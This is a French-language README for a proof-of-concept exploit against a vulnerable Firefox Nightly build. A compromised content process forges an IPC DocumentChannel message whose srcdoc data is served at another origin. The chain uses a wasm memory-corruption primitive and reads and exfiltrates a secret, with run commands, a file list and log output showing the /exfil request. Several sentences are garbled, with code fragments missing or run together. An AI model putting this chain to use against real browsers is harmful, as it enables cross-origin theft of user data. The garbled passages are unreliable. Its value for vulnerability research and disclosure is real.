
Firefox forge de srcdoc de contenu vers parent (N-day, bug 2040160) : PDocumentChannel falsifié avec SrcdocData sur un URI non-about:srcdoc -> HTML de l'attaquant servi à l'origine de la victime (UXSS), via injection du chemin d'envoi mojo-port depuis un processus de contenu compromis
Preuve de concept : un processus de contenu compromis forge un chargement PDocumentChannel dont le nsDocShellLoadState transporte SrcdocData accompagné d'un URI arbitraire. Les builds vulnérables servent le HTML de l'attaquant comme document à l'origine de la victime — lecture même-origine + exfiltration (UXSS).
Cible : Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnérable, pré-correction), macOS arm64.
Corrigé dans Firefox 152 — bug 2040160, commit 54dc16d08771 « Reject srcdoc data on non-about:srcdoc URI loads ».
Le processus parent désérialise un nsDocShellLoadState depuis les messages IPDL contenu→parent. Le constructeur vulnérable ne rejetait que pour les chargements déclenchés par le contenu ; n'était pas validé. Lorsqu'un état de chargement transporte des données srcdoc avec un URI qui n'est pas , le docshell construit un canal d'entrée-flux qui sert le HTML srcdoc — et le document résultant obtient l'origine de l'URI.
javascript:SrcdocDataabout:srcdocLa correction ajoute un FatalError dans le constructeur IPDL de nsDocShellLoadState lorsque !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), plus des assertions de durcissement dans nsDocShell et Document::StartDocumentLoad.
Bug frère : CVE-2026-74939 (RemoteTypeOverride) — même constructeur, même message porteur, même mécanisme de livraison (voir ../poc-cve-2026-74939). Cette PoC réutilise cette forge avec un champ différent inversé ; aucun RemoteTypeOverride nécessaire.
srcdoc.html à http://127.0.0.1:8778 (origine A, compromise via les primitives wasm de l'étape 1 dans wasm-bytes.js).PNecko::PDocumentChannel : URI = http://localhost:8778/nav.html (origine B), SrcdocData = <HTML attaquant>, BrowsingContext de niveau supérieur d'une popup about:blank même-processus — livré via le chemin d'envoi mojo réel (operator new → constructeur IPC::Message → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost, et le docshell sert notre HTML comme document à l'origine B./secret.txt (même-origine sur B — une véritable requête cross-origin depuis A serait bloquée par CORS) et l'exfiltre vers A.Preuve (/tmp/srv.log après ./irun) :
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| Fichier | Objectif |
|---|---|
srcdoc.html | Page PoC, exécutée dans le processus de contenu compromis |
forge.py | construit le message forgé (auto-vérifiant) → forge.bin/forge.json |
wasm-bytes.js | primitives de l'étape 1 : R/W arbitraire, appels funcref (CVE-2026-2796) |
mdrive2.py | harnais marionette pour lancer et piloter Nightly |
irun | exécution instrumentée : lldb attaché au parent + preuves MOZ_LOG/srv.log |
profile.user.js | préférences du profil Firefox (fission activé, dump activé) |
parse_dc.py | analyseur octet-exact pour les messages DocumentChannel capturés |
captured-messages/dc_1.bin | message réel capturé, utilisé comme modèle de forge |
nav.html, secret.txt | fixture de la page victime + secret pour la démo |
Prérequis : build Nightly vulnérable à /Users/sid/gecko-2766/obj-browser, .venv avec psutil, et un serveur web sur 0.0.0.0:8778 servant ce répertoire (par ex. python3 /tmp/srv.py, journalisant dans /tmp/srv.log).
python3 forge.py # construit forge.bin/forge.json (auto-vérifiant)
./irun # lance + injecte + collecte les preuves
Remarque : un processus de contenu peut SIGSEGV lors du démontage après l'envoi (GC sur les objets factices) ; toutes les preuves sont émises avant cela.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)